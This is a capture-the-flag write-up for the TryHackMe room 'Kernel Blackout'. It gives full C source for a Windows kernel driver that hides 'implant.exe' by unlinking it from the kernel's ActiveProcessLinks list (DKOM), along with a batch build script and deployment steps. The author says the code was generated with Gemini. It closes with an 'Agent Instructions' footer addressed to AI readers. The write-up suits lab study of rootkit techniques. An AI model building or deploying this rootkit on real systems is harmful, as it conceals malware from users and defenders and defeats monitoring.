# Kernel Blackout

{% embed url="<https://tryhackme.com/room/kernelblackout>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

{% hint style="warning" %}
In the process of solving the challenge no AI was harmed. Joking.

**Disclaimer:** Parts of this challenge were solved with the assistance of AI tools - in this case Gemini. The provided source code is not originally authored by me and is included strictly for educational purposes.

Although this solution was produced by AI and is not my own, I would like to present and discuss it here, as there is something to be learnt from it in my opinion.
{% endhint %}

## Scenario

In Kernel Blackout we are tasked to build a rootkit to hide an implant process. We need to confirm the process is hidden to get the flag. So we need to write a Windows Driver resulting in a `.sys` file that hides a specific process from the system's process list

In the scenario, we have a development machine called Malware Dev and a target machine called Target.

<figure><img src="/files/bTmRAUgIUQey3ic4GXGE" alt=""><figcaption></figcaption></figure>

> \>Access instance data:\
> <http://10.200.150.10> @ **Target**\
> <http://10.200.150.20> @ **MalwareDev**
>
> \>Build a rootkit to hide the implant process on \
> **MalwareDev with the x64 Visual Studio console.**
>
> \>Authenticate on **MalwareDev** via RDP using: \
> User:Administrator / Password:KernelKernel2323
>
> \>Once ready, upload the **rookit** and deploy it to the **Target** machine.
>
> \>Confirm the process is hidden and get the flag!<br>
>
> Note that killing the implant process will not give you the flag.

## Summary

<details>

<summary>Summary</summary>

In Kernel Blackout we develop a Windows kernel-mode rootkit to conceal a running implant process. We analyze kernel memory structures via WinDbg, identifying the key `_EPROCESS` offsets for `UniqueProcessId`, `ActiveProcessLinks`, and `ImageFileName`. Using Direct Kernel Object Manipulation (DKOM), the driver iterates through the active process list, locates `implant.exe`, and unlinks it from the `ActiveProcessLinks` chain, rendering it invisible to standard enumeration tools like Task Manager. The driver is compiled via the Visual Studio 2022 Native Tools Command Prompt into `blackout.sys`, then deployed to the Target system. Upon loading the driver, the implant process disappears from process listings, confirming successful kernel-level concealment and yielding the final flag

</details>

## Analysis

We open the web interface of the development machine and see an interface for OPERATION: KERNEL BLACKOUT. It's the same like on the target.&#x20;

Among others we see a warning: `CAUTION: Drivers may trigger BSOD`

This warning means that the drivers we are about to use operate in kernel mode and can cause a Blue Screen of Death if they malfunction. Such drivers have unrestricted access to system memory and hardware, so even minor errors can crash the operating system. It is safest to proceed only in a controlled environment. So we will use the Malware Dev machine and not our own VMs / Hosts.

If we scroll down we find the implant.exe with the PID `4772` in this case.

<figure><img src="/files/NALlKxI9OLG6tPvqfdRx" alt=""><figcaption></figcaption></figure>

Furthermore we have a windbg\_console:

<figure><img src="/files/BH0d28iv3W7blDmaXbQY" alt=""><figcaption></figcaption></figure>

## Development

According to Gemini to hide a process in Windows one method can be is to unhook it from the `ActiveProcessLinks` doubly-linked list. Windows tracks running processes using a circular linked list of `_EPROCESS` structures:

> ### 🛠️ The Strategy: DKOM (Direct Kernel Object Manipulation)
>
> To hide a process in Windows, the most common method is to unhook it from the ActiveProcessLinks doubly-linked list. Windows tracks running processes using a circular linked list of `_EPROCESS` structures.
>
> If you "snip" a process out of this list, tools like Task Manager or `tasklist` (which rely on traversing this list) won't see it, even though the process continues to run.

Fortunately from the WinDbg output we can identify the following offsets for `UniqueProcessId` `+0x2e0`, `ActiveProcessLinks` `+0x2e8` and `ImageFileName` `+0x450`.&#x20;

<figure><img src="/files/wzKmcx7xD4Ang18AmBKY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/loNuPWjxAZpZjcFEVoZN" alt=""><figcaption></figcaption></figure>

These offsets are required later to correctly locate and manipulate specific fields inside the `_EPROCESS` structure, allowing to identify the target process and unlink it from the kernel's active process list.

The `UniqueProcessId` stores the process identifier (PID) used by the kernel to uniquely identify a running process. It allows the operating system to associate threads, handles, and resources with the correct process and is commonly used to confirm that the correct `_EPROCESS` structure has been located.

The `ActiveProcessLinks` is a pair of forward and backward pointers that link the process into the kernel's global list of active processes. The operating system and userland tools traverse this list to enumerate running processes, so removing an entry causes the process to disappear from standard listings.

The `ImageFileName` contains the executable name of the process as stored in the kernel. It allows the driver to identify the target process by name before manipulating its kernel links.

> #### Key Offsets from your WinDbg Output
>
> Your `dt nt!_eprocess` dump provides the exact "map" for this specific Windows version (Windows 10 17763):
>
> 1. UniqueProcessId: `+0x2e0` (Used to find the correct process).
> 2. ActiveProcessLinks: `+0x2e8` (The `_LIST_ENTRY` we need to manipulate).
> 3. ImageFileName: `+0x450` (Useful for finding the process by name).

### Offset Definitions

```c
#define OFFSET_ACTIVE_LINKS 0x2e8
#define OFFSET_IMAGE_NAME   0x450
```

First we define the constant memory offsets that act as a map for the `_EPROCESS` structure in kernel memory. The `OFFSET_ACTIVE_LINKS` points to the doubly-linked list that the OS uses to track all running processes, while `OFFSET_IMAGE_NAME` points to the string containing the process's executable name.

### The `HideProcess` Logic

This function performs Direct Kernel Object Manipulation (DKOM) by iterating through the circular list of active processes to find a specific name match. Once `implant.exe` is found, the code "snips" it out of the chain by connecting its predecessor directly to its successor, effectively making it invisible to system monitoring tools. To prevent a system crash, the target's own links are redirected to point back to itself rather than being left empty.

### `DriverEntry` Execution

Here is the entry point of the kernel module, similar to a `main()` function in standard C programs. It logs a message to the debug console and immediately calls the `HideProcess` function with the target filename. Finally, it returns `STATUS_SUCCESS`, which allows the driver to stay resident in memory so the process remains hidden.

{% code title="hide.c" overflow="wrap" lineNumbers="true" expandable="true" %}

```c
#include <ntddk.h>

// Offsets verified from your WinDbg output
#define OFFSET_ACTIVE_LINKS 0x2e8
#define OFFSET_IMAGE_NAME   0x450

void HideProcess(char* processName) {
    PEPROCESS startProcess = PsGetCurrentProcess();
    PEPROCESS currentProcess = startProcess;
    
    // We will loop through the circular linked list
    do {
        // Get the name of the current process in the loop
        PSTR name = (PSTR)((PUCHAR)currentProcess + OFFSET_IMAGE_NAME);

        if (strstr(name, processName)) {
            DbgPrint("Kernel Blackout: Found %s. Snipping from list...\n", processName);

            // Access the list entry for the target process
            PLIST_ENTRY listEntry = (PLIST_ENTRY)((PUCHAR)currentProcess + OFFSET_ACTIVE_LINKS);

            // Perform the DKOM unlinking 
            if (listEntry->Flink != NULL && listEntry->Blink != NULL) {
                listEntry->Blink->Flink = listEntry->Flink;
                listEntry->Flink->Blink = listEntry->Blink;

                // Point the process's own links to itself to avoid a crash 
                // if the OS tries to traverse from this node later.
                listEntry->Flink = listEntry;
                listEntry->Blink = listEntry;
                
                DbgPrint("Kernel Blackout: Target hidden.\n");
            }
            return;
        }

        // Move to the next process in the list
        PLIST_ENTRY nextLink = (PLIST_ENTRY)((PUCHAR)currentProcess + OFFSET_ACTIVE_LINKS);
        currentProcess = (PEPROCESS)((PUCHAR)nextLink->Flink - OFFSET_ACTIVE_LINKS);

    } while (currentProcess != startProcess);
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    UNREFERENCED_PARAMETER(DriverObject);
    UNREFERENCED_PARAMETER(RegistryPath);

    DbgPrint("Kernel Blackout: Driver Loaded. Searching for implant.exe...\n");
    HideProcess("implant.exe");

    return STATUS_SUCCESS;
}
```

{% endcode %}

## Build

On the machine we have besides Visual Studio Code also the Native Tools Command Prompt for Visual Studio Code on the Desktop. We make use native command prompt to compile the source.

```
x64 Native Tools Command Prompt for VS 2022
```

<figure><img src="/files/MPliEWaEWXuByJzrHZXu" alt=""><figcaption></figcaption></figure>

We spawn a Native Tools Command Prompt for VS 2022 to be in an environment where the Visual Studio x64 toolchain is initialized.

<figure><img src="/files/7d25oT4mob7ideg3JiFJ" alt=""><figcaption></figcaption></figure>

We prepare a batchfile - here `kbuild.bat` - to compile the source with the following content:

`call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"`\
This sets up the Visual Studio 2022 64-bit build environment so `cl.exe` and `link.exe` work correctly. It is required to ensure the compiler, linker, and libraries match the x64 kernel target.

`cl.exe /D_AMD64_ /I"...\km" /c hide.c`\
This compiles the driver source file into an object file without linking. The `_AMD64_` macro and kernel-mode include path are required so Windows kernel headers compile correctly for x64.

`link.exe /DRIVER /RELEASE /SUBSYSTEM:NATIVE /ENTRY:DriverEntry hide.obj ntoskrnl.lib /LIBPATH:"...\km\x64" /OUT:blackout.sys`\
This links the object file into a kernel-mode driver. The flags tell the linker it is a native x64 Windows driver, use `DriverEntry` as the entry point, and link against the Windows kernel.

{% code title="kbuild.bat" overflow="wrap" lineNumbers="true" %}

```bat
@echo off
:: 1. Setup the environment (Updated for VS 2022)
call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
:: 2. Compile the source
cl.exe /D_AMD64_ /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\km" /c hide.c
:: 3. Link with Kernel libraries
link.exe /DRIVER /RELEASE /SUBSYSTEM:NATIVE /ENTRY:DriverEntry hide.obj ntoskrnl.lib /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\km\x64" /OUT:blackout.sys
```

{% endcode %}

On the Desktop we have the `hide.c` containing the source and the `kbuild.bat`.

<figure><img src="/files/j9tYxtuzU6loEzTJ9caJ" alt=""><figcaption></figcaption></figure>

We run the batch file to compile the source and end up with the `blackout.sys` file.

<figure><img src="/files/FMKqyc7INnlMNpX4HLzf" alt=""><figcaption></figcaption></figure>

Next, we transfer the `blackout.sys` with the previous set up shared folder in Remmina.

<figure><img src="/files/TEJB88igTP4dQwgyyNSQ" alt=""><figcaption></figcaption></figure>

## Deploy and Execute

We  upload the blackout.sys to the target at `http://10.200.150.10`. After a short duration we reload the page and get the flag.

<figure><img src="/files/JxsBRUx2Tvh7aWVn4bhp" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2026/kernel-blackout.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
